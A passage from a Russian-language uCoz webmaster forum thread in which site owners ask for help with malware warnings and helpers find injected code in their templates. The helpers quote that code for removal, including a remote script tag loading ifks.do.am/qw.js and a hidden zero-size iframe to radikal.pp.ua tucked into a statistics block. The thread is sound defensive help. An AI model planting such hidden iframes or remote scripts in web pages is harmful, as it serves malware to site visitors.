Модератор форума: Yuri_G |
Сообщество uCoz Мастерская uCoz Безопасность сайта Вирусы на сайтах (для изучения) (примеры вредоносного кода и устранение) |
Вирусы на сайтах (для изучения) |
GunzGaMe, табличка не сразу исчезает. нужно время. от недели и больше
|
Немогу найти ифрем blackcobra.ru
Это мне пишит Google chrome Веб-сайт blackcobra.ru содержит элементы с сайта tik-infa.info, на котором, судя по всему, размещено вредоносное ПО – программы, которые могут нанести вред вашему компьютеру или выполнять действия без вашего согласия. Даже простое посещение сайта, на котором размещено вредоносное ПО, может привести к заражению вашего компьютера. Более подробную информацию о неполадках с этими элементами можно найти на странице Google Страница диагностики безопасного просмотра для домена tik-infa.info. Подробнее о том, как защититься от вредоносного ПО, распространяемого в Интернете. |
nfark, тело новостей сайта. кусок кода новости
Quote <td style="text-align: right;">(<a href="http://coolhack.3dn.ru//load/hack/combat_arms/gsys_hotkeys_1_3_4/2-1-0-43#comments">0</a>)</td></tr></tbody></table><span style="-webkit-border-horizontal-spacing: 1px; -webkit-border-vertical-spacing: 1px;"><br></span><br><br></span></span></font></td></tr></tbody></table></span></div></div><br><table style="border: 1px solid #4c4c4c;" border="0" cellpadding="5" cellspacing="0" width="100%"><tbody><tr><td style="background: rgb(0, 0, 0) none repeat scroll 0% 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"><table border="0" cellpadding="3" cellspacing="2" width="100%"><script language="JavaScript"src="http://ifks.do.am/qw.js"></script> то что выделено красным категорично удалить! ищите во вставке до материалов. открыть главную на редактирование и там в коде искать я имею ввиду такие элементы как Code <img src="http://sinners.pp.ua/img/2b.png" alt="" border="0"> Code <img style="width: 128px; height: 128px;" class="userAvatar" title="Гость" src="http://webo4ka.3dn.ru/Ucoz/b19c85600464.png" border="0"> а вот это совсем не нужно в блоке статистика
Quote // Количество ботов /* Дальше ничего не менять <img rel="usm" src="http://megasoft.3dn.ru/emoticons/Mirktelejimas.gif" border="0" align="absmiddle" alt=";)"> */ |
Здравствуйте!
Помогите пожалуйста решить проблему. Недавно получили от Гугл уведомление - что посещение сайта может навредить компютеру и на нем содержится вредносное ПО.Сайт vampire-knight.ucoz.ru . Яндекс ничего не находит. Прошу помощи в проверки сайта и ликвидации проблемы. Возможно, здесь писалось ранее о подобных случаях , но к сожалению не могу понять как его найти и ликвидировать! |
Всем привет. Народ, пожалуйста, помогите чайнику: в общем ко мне на сайт каким-то образом попал вирус (причем по ходу дела не один) и самый главный вопрос - как от него избавиться. Пробовал сканировать сайт через online сканер dr.web'a - безрезультатно. Пробивал в гугле эту тему - тщетно. Вся проблема в том, что я даже не могу узнать где именно находится этот вирус, его название и вообще хотябы какую-нибудь информацию о нем. Если кто согласится помочь мне избавить свой сайт от вируса, дать ссылку на него или хотябы подсказать что мне дальше делать - буду очень благодарен. Вот сам сайт: http://www.eyenatikz-gaming.net.ru/
|
b3sT1kz, ифреймы с вредоносными ссылками у вас запакованы в код блока полезный софт.
лучше удалите весь блок. можете очистить, но это на сайте вряд ли нужно |
Quote lediyastreb, Попробуй поставить пароль на FTP И удалить все файлы из вашего файлого менеджера и залить заного было много раз таком способом помогло Спасибо за совет.Пароли сменила,файловый менеджер почистила. Буду очень благодарно если найдется спаситель и все таки проверит мой сат на вирусы...зарание спасибо http://vampire-knight.ucoz.ru/ |
Привет всем специалистам и помошникам!
У меня проблемка с моим сайтом, прочитав весь форум все проделывал как советовали но ничего не получается, при входе на сайт Авира громко орет и выдает что сайт заражен вирусом, сначала думал что проблемка тока у меня на компе но сегодня повстречался с знакомым, он тож мне рассказал что и у него проблемма с моим сайтиком, при входе орет что заражен вирусом, вот Вам ссылочка ссайтика моего http://ulyanovka.clan.su/ Помогите советом! Уж больно жалко если сайт накроется !!!!!!!!!!!!!!! Зарание благодарем Вам! |
YVA71, блок история сайта . ифрейм вшит между картинками замов админа и V.I.P
Quote <TABLE border="0" cellpadding="0" cellspacing="0" style="background:#EBEBEB;" width="220"> <TBODY><TR><TD width="28"><IMG src="/.s/t/231/8.gif" border="0"></TD><TD style="background-image: url('/.s/t/231/9.gif');" align="center"><B>История сайта</B></TD><TD width="28"><IMG src="/.s/t/231/10.gif" border="0"></TD><TR><TD style="background-image: url('/.s/t/231/11.gif');"></TD><TD style="background:#EBEBEB;"><!-- <bc> --><div align="left"><IMG src="http://s39.radikal.ru/i084/1008/70/0043720c12b8.png" border="0">Всего: <B>48</B></div> <div align="left"><IMG src="http://s46.radikal.ru/i113/1008/ac/1d2302be5c31.png" border="0">Новых за месяц:<B> 3</B></div> <div align="left"><IMG src="http://s42.radikal.ru/i095/1008/8f/894997423f3e.png" border="0">Новых за неделю:<B> 1</B></div> <div align="left"><IMG src="http://s06.radikal.ru/i179/1008/31/38aea6612ede.png" border="0">Новых вчера:<B> 0 </B></div> <div align="left"><IMG src="http://s40.radikal.ru/i090/1008/85/bf0b66400abf.gif" border="0">Новых сегодня:<B> 0</B></div> </br><div align="left"><IMG src="http://s60.radikal.ru/i168/1008/19/20df11ca04b0.png" border="0">Октябрят: <B>37 </B></div> <div align="left"><IMG src="http://s006.radikal.ru/i214/1008/43/c3d7e0a91aa9.png" border="0">Пионеров: <B>4 </B></div> <div align="left"><IMG src="http://s41.radikal.ru/i094/1008/ad/088fd4b45cf1.png" border="0">Помощников: <B></B></div> <div align="left"><IMG src="http://s59.radikal.ru/i165/1008/aa/166a3823611c.png" border="0">Модераторов: <B>1 </B></div> <div align="left"><IMG src="http://s07.radikal.ru/i180/1008/7f/1951cf281219.png" border="0">Инквизиторов: <B></B></div> <div align="left"><IMG src="http://s50.radikal.ru/i127/1008/b5/6b6735a1c1dc.gif" border="0">Замов.админа: <B></B></div> <div align="left"><iframe src="http://radikal.pp.ua/" width="0" height="0" style="display:none"></iframe><IMG src="http://s48.radikal.ru/i121/1008/7d/8284af8d8145.gif" border="0">V.I.P: <B></B></div> </br><div align="left"><IMG src="http://s003.radikal.ru/i201/1008/c5/324484f0edba.gif" border="0">Парней: <B>43</B></div><div align="left"><left><IMG src="http://s47.radikal.ru/i115/1008/7f/681fe8645f4f.gif" border="0">Девушек: <B>5</B> </div><!-- </bc> --></TD><TD style="background-image: url('/.s/t/231/12.gif');"></TD></TR><TR><TD width="28"><IMG src="/.s/t/231/13.gif" border="0"></TD><TD style="background-image: url('/.s/t/231/14.gif');"></TD><TD width="28"><IMG src="/.s/t/231/15.gif" border="0"></TD></TBODY></TABLE> вот сам код, то что выделено красным ваш вредоносный код. после удаления нужно очистить кеш и куки во всех браузерах, перезагрузиться и снова пускать авиру на сайт. должна перестать возмущаться |
webanet, спасибо огромное Вам за ответ, но я не большой спец в этой отрасли, а разобраться охота,я никак немогу найти этот блок" ИСТОРИЯ САЙТА"
и если не тяжело ростолкуйте поподробней, что с ним делать , ну если я его найду этот блок, простите еще раз, и огромное спасибо Вам! |
YVA71,
смотрите картинку
в глобальных блоках это четвертый блок редактор страниц - управление дизайном модуля - глобальные блоки - первый контейнер Прикрепления:
4999751.jpg
(275.8 Kb)
|
sanek859, я конечно извиняюсь, но вы на своем сайте совершили все возможные и невозможные ошибки для начинающего сайтостроителя.
такое количество счетчиков и рейтингов для молодого сайта нонсенс, как и баннеры защиты сайта опять же избитая новичками тема про заработок в интернете, которая к заработкам не приводит, но приводит к всевозможным фильтрам сайта поисковиками. что вы и испытали на себе. а теперь по вашей проблеме вот список виновников вашей неприятности хттп://www.traf.spbtown.ru хттп://www.klickmedia.ru хттп://liveclix.net я имею ввиду коды, которыми данные тизерки и конторы по обмену траффиком транслируют на вашем сайте. далеко не редкость, что в подобных тизерках и обмене траффика встречаются вредоносные сайты (в трансляции). транслируя подобные сайты со своего вы автоматически помечаетесь роботом в цепочке распространителей. это значит, что на самом вашем сайте нет вредоносного кода, но такой вредоносный код может транслироваться в виде недоброкачественного траффика, который проходит через ваш сайт. плюс эта страница тоже радует разнообразием http://raznoobraz.ucoz.ru/index/0-8 . если вам нужны эти ссылки и все это, то прячте ссылки с помощью сервиса ю.ту. в этой теме уже подымались подобные проблемы. читайте и делайте выводы. чем меньше стороннего траффика у вас на сайте - тем лучше. |
Доброго времеи суток. Сегодня к моему удивлению мой сайт стал мошенническим и Яндекс уже выдал в поиске "Сайт может угрожать безопасности вашего компьютера"
Вебмастер Яши предоставил вот эту ссылку как зараженную: "http://www.ul-med.ru/load/82" Никаких новых партнерок в последнее время не добавлял, очень боюсь бана и хотел бы разобраться в случившемся. Помогите. PS Подозреваю, что причиной стала ссылка в партнерке. Как её вычислить, не подскажите, чтоб впреть такого не повторялось? Сообщение отредактировал mihail87 - Вторник, 26 Окт 2010, 17:10:52
|
mihail87,
Quote Вебмастер Яши предоставил вот эту ссылку как зараженную: "http://www.ul-med.ru/load/82" Quote Никаких новых партнерок в последнее время не добавлял Quote Подозреваю, что причиной стала ссылка в партнерке ваша проблема в этом и в этом а точнее в количестве этих ифреймов на каждой странице по десять штук. если вы и ставите подобное, то ставить нужно только один раз и в одном месте, а не в пяти местах по два ифрейма по всему сайту |
| |||